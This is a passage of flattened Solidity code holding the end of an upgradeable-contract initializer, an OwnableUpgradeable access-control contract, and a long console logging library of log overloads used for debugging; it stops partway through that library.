/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
